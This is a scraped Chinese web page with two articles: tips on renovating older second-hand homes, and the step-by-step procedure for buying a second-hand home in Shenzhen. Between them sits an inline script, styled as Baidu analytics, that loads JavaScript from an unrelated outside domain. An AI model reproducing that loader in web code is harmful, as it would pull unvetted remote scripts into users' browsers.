二手旧房翻新有哪些必须要做，看完你就知道了

在大城市，为了拥有一个小房子，你必须不知疲倦地工作，却可能还是买不起新房，所以很多人选择了二手房作为过渡。但是很多老房子装修已经很破败，住在里面体验太差，那我们就要进行二手旧房翻新，哪怕没多少钱，也要进行简单的装修，这是对小家庭的极大鼓励，也会让你很有自己的新家的感觉，那二手旧房翻新有哪些必须要做呢，我们来探讨一下吧！二手旧房翻新必不可少的第一步就是水电改造，这个是最基础也是最重要的一个内容，虽然看不见，但对你的安全极为重要，有些老房子不管谁电线还是管道都有老化的问题，处理这些隐藏的工程极为重要，不容忽视。二手旧房翻新第二个内容就是客厅和卧室了，如果你想省钱，这两块减少装修。但是，你总是有你的风格和审美，住在别人设计的房子里总是不舒服，所以也可以开始翻新，主要的装修包括地板装饰，墙面装饰，吊顶装饰等等，你可以看情况拆除和修理几个主要项目。二手旧房翻新还有就是厨房和卫生间的重新装修，你可以重新粉刷，更换掉脏污的吊顶，买入新的油烟机煤气炤，新的卫生洁具，更换掉地面的瓷砖，甚至重新做个防水等等，这一块可能花费比较大，你可以先做墙面功夫，再一点点添置新的用品。二手旧房翻新完成后，装修垃圾处理也是一个问题，装修公司会收取更高的费用，因为二手的东西没有回收再利用的价值了。二手旧房翻新价格甚至要比新房空白装修贵，还更加麻烦，因为你不知道老房子会给你藏了什么漏洞，自然对装修和设计的要求也比较高，你万万不能自己进行改造，还是要请专业的公司来做。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

二手房交易程序 你知道吗

二手房在交易的时候是有一些程序的，二手房是如何交易的呢?二手房在交易之前，买方是需要先看一下房子的，当买方看过房子之后，买卖双方就会开始谈价格。二手房买卖的价格谈好之后，双方就会开始确认交易，确认交易的时候也是需要签订买卖合同的。很多人不知道二手房交易的程序都有哪些，下面我们就来了解一下二手房交易程序介绍。二手房交易程序介绍一、看房：买方看房、买卖双方初步洽谈价格、付款方式、交房日期等事项，一般买卖双方产生的所有费用由买卖双方支付;二、查档：买卖双方持房产证原件或按揭合同原件到档案大厦国土部门查房档案;三、签合同：买卖双方协商房屋价格、定金、首期款、资金监管、贷款申请时间、赎楼费用、过户申请时间、税费支付方式、交房日期、租客情况、佣金的支付时间及比例、违约责任，确定这几大要点后，买卖双方与中介签订三方合同或者买卖双方签订合同，把上述内容写入合同(深圳市统一格式合同)，支付定金给中介公司。四、卖方同担保公司到公证处进行公证，卖方委托担保公司办理相关事务;五、资金监管及贷款申请：买方支付首期款到按揭银行资金监管账号(一般是原贷款银行，如果换其他银行会多出一些费用)，买方及担保公司与银行签订资金监管协议及相关文件(一大堆，都没看清楚，只是忙着签名)，买方向银行提出贷款申请，银行同意贷款后出具贷款承诺书给买方(一般银行直接通知担保公司)，约7~8个工作日左右;六、赎楼：买方向担保公司支付担保费用后，担保公司向原贷款银行申请赎楼，担保公司向银行出具赎楼担保，进行赎楼及注销抵押登记手续，约5个工作日左右。七、房屋过户：买方同担保公司去深圳市房地产产权登记中心三楼(金湖文化广场，位于银行汽车站和南方药厂之间)签订<深圳市房地产买卖合同(现售)>，递交房产过户申请，担保公司领取回执，需5个工作日;八、买方同担保公司到领证窗口签署回执缴费领取房产证(记得多复印一些，再见到它时要等全部贷款还清之后啦)，担保公司领出新房产证同按揭银行在深圳市房地产产权登记中心作抵押登记，银行把首期款给卖方，新房产证抵押登记后，银行把扣除赎楼贷款后的贷款给卖方，约10个工作日左右;九、交房：买卖双方办理房屋交接，水、电等过户，买方领钥匙。以上就是关于二手房交易的流程介绍，大家现在知道二手房交易都需要走哪些流程了吗?二手房在交易的时候也是一定要签订合同的，如果不签订合同以后就失去法律保护。二手房签订合同和支付费用之后就可以交楼。二手房交楼之后，卖方是不可以再持有原房子的钥匙的。大部分的二手房在交易的过程中，都需要联系担保公司进行担保，所以二手房在交易过程中也是有担保费的。